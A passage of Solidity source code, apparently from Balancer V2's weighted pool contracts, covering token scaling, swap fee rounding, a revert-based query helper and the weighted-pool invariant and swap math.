Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(_swapFeePercentage.complement()); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(_swapFeePercentage); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(IERC20 token) internal view returns (uint256) { // prettier-ignore if (token == _token0) { return _scalingFactor0; } else if (token == _token1) { return _scalingFactor1; } else if (token == _token2) { return _scalingFactor2; } else if (token == _token3) { return _scalingFactor3; } else if (token == _token4) { return _scalingFactor4; } else if (token == _token5) { return _scalingFactor5; } else if (token == _token6) { return _scalingFactor6; } else if (token == _token7) { return _scalingFactor7; } else { _revert(Errors.INVALID_TOKEN); } } /** * @dev Returns all the scaling factors in the same order as the registered tokens. The Vault will always * pass balances in this order when calling any of the Pool hooks */ function _scalingFactors() internal view returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory scalingFactors = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; } if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; } if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; } if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; } if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; } if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; } if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return scalingFactors; } if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; } } return scalingFactors; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.mul(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } /** * @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant * to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IMinimalSwapInfoPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) external returns (uint256 amount); } /** * @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`. * * Derived contracts must implement `_onSwapGivenIn` and `_onSwapGivenOut` along with `BasePool`'s virtual functions. */ abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool { constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BasePool( vault, tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // solhint-disable-previous-line no-empty-blocks } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) external view virtual override returns (uint256) { uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn); uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. request.amount = _subtractSwapFeeAmount(request.amount); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. return _addSwapFeeAmount(amountIn); } } /* * @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known. * * Returns the amount of tokens that will be taken from the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already * been deducted from `swapRequest.amount`. * * The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the * Vault. */ function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); /* * @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known. * * Returns the amount of tokens that will be granted to the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. * * The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee * and returning it to the Vault. */ function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); } /* solhint-disable private-vars-leading-underscore */ contract WeightedMath { using FixedPoint for uint256; // A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the // implementation of the power function, as these ratios are often exponents. uint256 internal constant _MIN_WEIGHT = 0.01e18; // Having a minimum normalized weight imposes a limit on the maximum number of tokens; // i.e., the largest possible pool is one where all tokens have exactly the minimum weight. uint256 internal constant _MAX_WEIGHTED_TOKENS = 100; // Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight // ratio). // Swap limits: amounts swapped may not be larger than this percentage of total balance. uint256 internal constant _MAX_IN_RATIO = 0.3e18; uint256 internal constant _MAX_OUT_RATIO = 0.3e18; // Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio. uint256 internal constant _MAX_INVARIANT_RATIO = 3e18; // Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio. uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18; // Invariant is used to collect protocol swap fees by comparing its value between two times. // So we can round always to the same direction. It is also used to initiate the BPT amount // and, because there is a minimum BPT, we round down the invariant. function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances) internal pure returns (uint256 invariant) { /********************************************************************************************** // invariant _____ // // wi = weight index i | | wi // // bi = balance index i | | bi ^ = i // // i = invariant // **********************************************************************************************/ invariant = FixedPoint.ONE; for (uint256 i = 0; i < normalizedWeights.length; i++) { invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i])); } _require(invariant > 0, Errors.ZERO_INVARIANT); } // Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the // current balances and weights. function _calcOutGivenIn( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountIn ) internal pure returns (uint256) { /********************************************************************************************** // outGivenIn // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bI \ (wI / wO) \ // // aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | // // wI = weightIn \ \ ( bI + aI ) / / // // wO = weightOut // **********************************************************************************************/ // Amount out, so we round down overall. // The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too). // Because bI / (bI + aI) <= 1, the exponent rounds down. // Cannot exceed maximum in ratio _require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO); uint256 denominator = balanceIn.add(amountIn); uint256 base = balanceIn.divUp(denominator); uint256 exponent = weightIn.divDown(weightOut); uint256 power = base.powUp(exponent); return balanceOut.mulDown(power.complement()); } // Computes how many tokens must be sent to a pool in order to take `amountOut`, given the // current balances and weights. function _calcInGivenOut( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountOut ) internal pure returns (uint256) { /********************************************************************************************** // inGivenOut // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bO \ (wO / wI) \ // // aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | // // wI = weightIn \ \ ( bO - aO ) / / // // wO = weightOut // **********************************************************************************************/ // Amount in, so we round up overall. // The multiplication rounds up, and the power rounds up (so the base rounds up too). // Because b0 / (b0 - a0) >= 1, the exponent rounds up. // Cannot exceed maximum out ratio _require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO); uint256 base = balanceOut.divUp(balanceOut.sub(amountOut)); uint256 exponent = weightOut.divUp(weightIn); uint256 power = base.powUp(exponent); // Because the base is larger than one (and the power rounds up), the power should always be larger than one, so // the following subtraction should never revert. uint256 ratio = power.sub(FixedPoint.ONE); return balanceIn.mulUp(ratio); } function _calcBptOutGivenExactTokensIn( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT out, so we round down overall. uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length); uint256 invariantRatioWithFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]); invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i])); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { uint256 amountInWithoutFee; if (balanceRatiosWithFee[i] > invariantRatioWithFees) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE)); uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount); amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFee))); } else { amountInWithoutFee = amountsIn[i]; } uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } if (invariantRatio >= FixedPoint.ONE) { return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE)); } else { return 0; } } function _calcTokenInGivenExactBptOut( uint256 balance, uint256 normalizedWeight, uint256 bptAmountOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /****************************************************************************************** // tokenInForExactBPTOut // // a = amountIn // // b = balance / / totalBPT + bptOut \ (1 / w) \ // // bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // ******************************************************************************************/ // Token in, so we round up overall. // Calculate the factor by which the invariant will increase after minting BPTAmountOut uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply); _require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN); // Calculate by how much the token balance has to increase to match the invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight)); uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE)); // We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees // accordingly. uint256 taxablePercentage = normalizedWeight.complement(); uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } function _calcBptInGivenExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT in, so we round up overall. uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length); uint256 invariantRatioWithoutFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]); invariantRatioWithoutFees = invariantRatioWithoutFees.add( balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i]) ); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it to // 'token out'. This results in slightly larger price impact. uint256 amountOutWithFee; if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement()); uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount); amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } else { amountOutWithFee = amountsOut[i]; } uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } return bptTotalSupply.mulUp(invariantRatio.complement()); } function _calcTokenOutGivenExactBptIn( uint256 balance, uint256 normalizedWeight, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /***************************************************************************************** // exactBPTInForTokenOut // // a = amountOut // // b = balance / / totalBPT - bptIn \ (1 / w) \ // // bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // *****************************************************************************************/ // Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base // rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down. // Calculate the factor by which the invariant will decrease after burning BPTAmountIn uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply); _require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT); // Calculate by how much the token balance has to decrease to match invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight)); // Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts. uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement()); // We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result // in swap fees. uint256 taxablePercentage = normalizedWeight.complement(); // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it // to 'token out'. This results in slightly larger price impact. Fees are rounded up. uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.mulDown(swapFee.complement())); } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 totalBPT ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = amountOut / bptIn \ // // b = balance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ totalBPT / // // bpt = totalBPT // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(totalBPT); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amountsOut[i] = balances[i].mulDown(bptRatio); } return amountsOut; } function _calcDueTokenProtocolSwapFeeAmount( uint256 balance, uint256 normalizedWeight, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) internal pure returns (uint256) { /********************************************************************************* /* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken)) *********************************************************************************/ if (currentInvariant <= previousInvariant) { // This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool // from entering a locked state in which joins and exits revert while computing accumulated swap fees. return 0; } // We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol // fees to the Vault. // Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the // base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down. uint256 base = previousInvariant.divUp(currentInvariant); uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight); // Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this // value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than // 1 / min exponent) the Pool will pay less in protocol fees than it should. base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT); uint256 power = base.powUp(exponent); uint256 tokenAccruedFees = balance.mulDown(power.complement()); return tokenAccruedFees.mulDown(protocolSwapFeePercentage); } } // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus total // count, resulting in a large number of state variables. contract WeightedPool is BaseMinimalSwapInfoPool, WeightedMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; uint256 private immutable _normalizedWeight2; uint256 private immutable _normalizedWeight3; uint256 private immutable _normalizedWeight4; uint256 private immutable _normalizedWeight5; uint256 private immutable _normalizedWeight6; uint256 private immutable _normalizedWeight7; uint256 private _lastInvariant; enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT } enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT } constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory normalizedWeights, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BaseMinimalSwapInfoPool( vault, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { uint256 numTokens = tokens.length; InputHelpers.ensureInputLengthMatch(numTokens, normalizedWeights.length); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight uint256 normalizedSum = 0; uint256 maxWeightTokenIndex = 0; uint256 maxNormalizedWeight = 0; for (uint8 i = 0; i < numTokens; i++) { uint256 normalizedWeight = normalizedWeights[i]; _require(normalizedWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT); normalizedSum = normalizedSum.add(normalizedWeight); if (normalizedWeight > maxNormalizedWeight) { maxWeightTokenIndex = i; maxNormalizedWeight = normalizedWeight; } } // Ensure that the normalized weights sum to ONE _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _maxWeightTokenIndex = maxWeightTokenIndex; _normalizedWeight0 = normalizedWeights.length > 0 ? normalizedWeights[0] : 0; _normalizedWeight1 = normalizedWeights.length > 1 ? normalizedWeights[1] : 0; _normalizedWeight2 = normalizedWeights.length > 2 ? normalizedWeights[2] : 0; _normalizedWeight3 = normalizedWeights.length > 3 ? normalizedWeights[3] : 0; _normalizedWeight4 = normalizedWeights.length > 4 ? normalizedWeights[4] : 0; _normalizedWeight5 = normalizedWeights.length > 5 ? normalizedWeights[5] : 0; _normalizedWeight6 = normalizedWeights.length > 6 ? normalizedWeights[6] : 0; _normalizedWeight7 = normalizedWeights.length > 7 ? normalizedWeights[7] : 0; } function _normalizedWeight(IERC20 token) internal view virtual returns (uint256) { // prettier-ignore if (token == _token0) { return _normalizedWeight0; } else if (token == _token1) { return _normalizedWeight1; } else if (token == _token2) { return _normalizedWeight2; } else if (token == _token3) { return _normalizedWeight3; } else if (token == _token4) { return _normalizedWeight4; } else if (token == _token5) { return _normalizedWeight5; } else if (token == _token6) { return _normalizedWeight6; } else if (token == _token7) { return _normalizedWeight7; } else { _revert(Errors.INVALID_TOKEN); } } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory normalizedWeights = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { normalizedWeights[0] = _normalizedWeight0; } else { return normalizedWeights; } if (totalTokens > 1) { normalizedWeights[1] = _normalizedWeight1; } else { return normalizedWeights; } if (totalTokens > 2) { normalizedWeights[2] = _normalizedWeight2; } else { return normalizedWeights; } if (totalTokens > 3) { normalizedWeights[3] = _normalizedWeight3; } else { return normalizedWeights; } if (totalTokens > 4) { normalizedWeights[4] = _normalizedWeight4; } else { return normalizedWeights; } if (totalTokens > 5) { normalizedWeights[5] = _normalizedWeight5; } else { return normalizedWeights; } if (totalTokens > 6) { normalizedWeights[6] = _normalizedWeight6; } else { return normalizedWeights; } if (totalTokens > 7) { normalizedWeights[7] = _normalizedWeight7; } else { return normalizedWeights; } } return normalizedWeights; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } // Base Pool handlers // Swap function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } // Initialize function _onInitializePool( bytes32, address, address, bytes memory userData ) internal virtual override whenNotPaused returns (uint256, uint256[] memory) { // It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent // initialization in this case. WeightedPool.JoinKind kind = userData.joinKind(); _require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens()); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } // Join function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override 